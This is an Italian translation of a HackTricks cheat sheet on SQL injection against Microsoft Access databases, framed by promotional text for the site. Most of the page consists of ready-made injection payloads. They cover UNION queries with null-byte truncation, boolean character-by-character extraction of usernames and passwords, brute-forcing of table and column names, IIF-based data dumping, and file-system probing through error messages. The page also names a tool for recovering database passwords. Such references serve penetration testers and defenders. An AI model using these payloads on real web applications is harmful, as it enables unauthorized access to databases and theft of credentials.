10 KiB
Iniezione SQL in MS Access
Impara l'hacking di AWS da zero a esperto con htARTE (HackTricks AWS Red Team Expert)!
Altri modi per supportare HackTricks:
- Se vuoi vedere la tua azienda pubblicizzata su HackTricks o scaricare HackTricks in PDF Controlla i PACCHETTI DI ABBONAMENTO!
- Ottieni il merchandising ufficiale di PEASS & HackTricks
- Scopri The PEASS Family, la nostra collezione di esclusive NFT
- Unisciti al 💬 gruppo Discord o al gruppo Telegram o seguici su Twitter 🐦 @carlospolopm.
- Condividi i tuoi trucchi di hacking inviando PR a HackTricks e HackTricks Cloud github repos.
Playground Online
Limitazioni del DB
Concatenazione di stringhe
La concatenazione di stringhe è possibile con i caratteri & (%26)
e + (%2b)
.
1' UNION SELECT 'web' %2b 'app' FROM table%00
1' UNION SELECT 'web' %26 'app' FROM table%00
Commenti
Non ci sono commenti in MS Access, ma apparentemente è possibile rimuovere l'ultima parte di una query con un carattere NULL:
1' union select 1,2 from table%00
Se ciò non funziona, potresti sempre correggere la sintassi della query:
1' UNION SELECT 1,2 FROM table WHERE ''='
Query annidate
Non sono supportate.
LIMIT
L'operatore LIMIT
non è implementato. Tuttavia, è possibile limitare i risultati della query SELECT alle prime N righe della tabella utilizzando l'operatore TOP
. TOP
accetta come argomento un numero intero, che rappresenta il numero di righe da restituire.
1' UNION SELECT TOP 3 attr FROM table%00
Proprio come TOP, puoi utilizzare LAST
che otterrà le righe dalla fine.
Union Queries/Sub queries
In una SQLi, di solito vorrai eseguire in qualche modo una nuova query per estrarre informazioni da altre tabelle. MS Access richiede sempre che nelle subquery o query aggiuntive sia indicato un FROM
.
Quindi, se vuoi eseguire una UNION SELECT
o UNION ALL SELECT
o un SELECT
tra parentesi in una condizione, devi sempre indicare un FROM
con un nome di tabella valido.
Pertanto, devi conoscere un nome di tabella valido.
-1' UNION SELECT username,password from users%00
Concatenazione di equals + Sottostringa
{% hint style="warning" %} Questo ti permetterà di estrarre i valori della tabella corrente senza dover conoscere il nome della tabella. {% endhint %}
MS Access permette una sintassi strana come '1'=2='3'='asd'=false
. Come di consueto, l'iniezione SQL sarà all'interno di una clausola WHERE
che possiamo sfruttare.
Immagina di avere un SQLi in un database MS Access e di sapere (o aver indovinato) che il nome di una colonna è username, ed è il campo che vuoi estrarre. Potresti controllare le diverse risposte dell'applicazione web quando viene utilizzata la tecnica di concatenazione di equals e potenzialmente estrarre il contenuto con un'iniezione booleana utilizzando la funzione Mid
per ottenere sottostringhe.
'=(Mid(username,1,3)='adm')='
Se conosci il nome della tabella e della colonna da estrarre, puoi utilizzare una combinazione di Mid
, LAST
e TOP
per rivelare tutte le informazioni tramite boolean SQLi:
'=(Mid((select last(useranme) from (select top 1 username from usernames)),1,3)='Alf')='
Feel free to check this in the online playground.
Forzare i nomi delle tabelle
Utilizzando la tecnica di concatenazione degli equals, è possibile forzare i nomi delle tabelle con qualcosa del genere:
'=(select+top+1+'lala'+from+<table_name>)='
Puoi anche utilizzare un metodo più tradizionale:
-1' AND (SELECT TOP 1 <table_name>)%00
Feel free to check this in the online playground.
- Nomi comuni delle tabelle Sqlmap: https://github.com/sqlmapproject/sqlmap/blob/master/data/txt/common-tables.txt
- C'è un'altra lista su http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html
Forzare i nomi delle colonne
Puoi forzare i nomi delle colonne correnti con il trucco dell'uguale concatenato con:
'=column_name='
Oppure con un group by:
-1' GROUP BY column_name%00
Oppure puoi eseguire un attacco di forza bruta sui nomi delle colonne di una tabella diversa con:
'=(SELECT TOP 1 column_name FROM valid_table_name)='
-1' AND (SELECT TOP 1 column_name FROM valid_table_name)%00
Dumping dei dati
Abbiamo già discusso della tecnica di concatenazione degli equals per il dumping dei dati dalle tabelle correnti e da altre tabelle. Ma ci sono anche altri modi:
IIF((select mid(last(username),1,1) from (select top 10 username from users))='a',0,'ko')
In poche parole, la query utilizza un'istruzione "if-then" per generare un "200 OK" in caso di successo o un "500 Internal Error" altrimenti. Sfruttando l'operatore TOP 10, è possibile selezionare i primi dieci risultati. L'utilizzo successivo di LAST consente di considerare solo la decima tupla. Su tale valore, utilizzando l'operatore MID, è possibile effettuare un semplice confronto tra caratteri. Cambiando correttamente l'indice di MID e TOP, è possibile estrarre il contenuto del campo "username" per tutte le righe.
Basato sul tempo
Altre funzioni interessanti
Mid('admin',1,1)
ottiene una sottostringa dalla posizione 1 di lunghezza 1 (la posizione iniziale è 1)LEN('1234')
ottiene la lunghezza della stringaASC('A')
ottiene il valore ASCII del carattereCHR(65)
ottiene la stringa dal valore ASCIIIIF(1=1,'a','b')
se alloraCOUNT(*)
Conta il numero di elementi
Enumerazione delle tabelle
Da qui puoi vedere una query per ottenere i nomi delle tabelle:
select MSysObjects.name
from MSysObjects
where
MSysObjects.type In (1,4,6)
and MSysObjects.name not like '~*'
and MSysObjects.name not like 'MSys*'
order by MSysObjects.name
Tuttavia, nota che è molto comune trovare SQL Injection in cui non hai accesso per leggere la tabella MSysObjects
.
Accesso al file system
Percorso completo della directory radice del web
La conoscenza del percorso assoluto della directory radice del web può facilitare ulteriori attacchi. Se gli errori dell'applicazione non sono completamente nascosti, il percorso della directory può essere scoperto cercando di selezionare dati da un database inesistente.
http://localhost/script.asp?id=1'+'+UNION+SELECT+1+FROM+FakeDB.FakeTable%00
MS Access risponde con un messaggio di errore contenente il percorso completo della directory web.
Enumerazione dei file
Il seguente vettore di attacco può essere utilizzato per inferire l'esistenza di un file nel file system remoto. Se il file specificato esiste, MS Access genera un messaggio di errore che informa che il formato del database non è valido:
http://localhost/script.asp?id=1'+UNION+SELECT+name+FROM+msysobjects+IN+'\boot.ini'%00
Un altro modo per enumerare i file consiste nel specificare un elemento database.tabella. Se il file specificato esiste, MS Access visualizza un messaggio di errore sul formato del database.
http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+C:\boot.ini.TableName%00
Indovinare il nome del file .mdb
Il nome del file del database (.mdb) può essere inferito con la seguente query:
http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+name[i].realTable%00
Dove name[i] è un nome di file .mdb e realTable è una tabella esistente nel database. Sebbene MS Access generi sempre un messaggio di errore, è possibile distinguere tra un nome di file non valido e un nome di file .mdb valido.
Cracker di password .mdb
Access PassView è un'utilità gratuita che può essere utilizzata per recuperare la password principale del database di Microsoft Access 95/97/2000/XP o Jet Database Engine 3.0/4.0.
Riferimenti
Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!
Altri modi per supportare HackTricks:
- Se vuoi vedere la tua azienda pubblicizzata in HackTricks o scaricare HackTricks in PDF Controlla i PACCHETTI DI ABBONAMENTO!
- Ottieni il merchandising ufficiale di PEASS & HackTricks
- Scopri The PEASS Family, la nostra collezione di esclusive NFT
- Unisciti al 💬 gruppo Discord o al gruppo Telegram o seguici su Twitter 🐦 @carlospolopm.
- Condividi i tuoi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud github repos.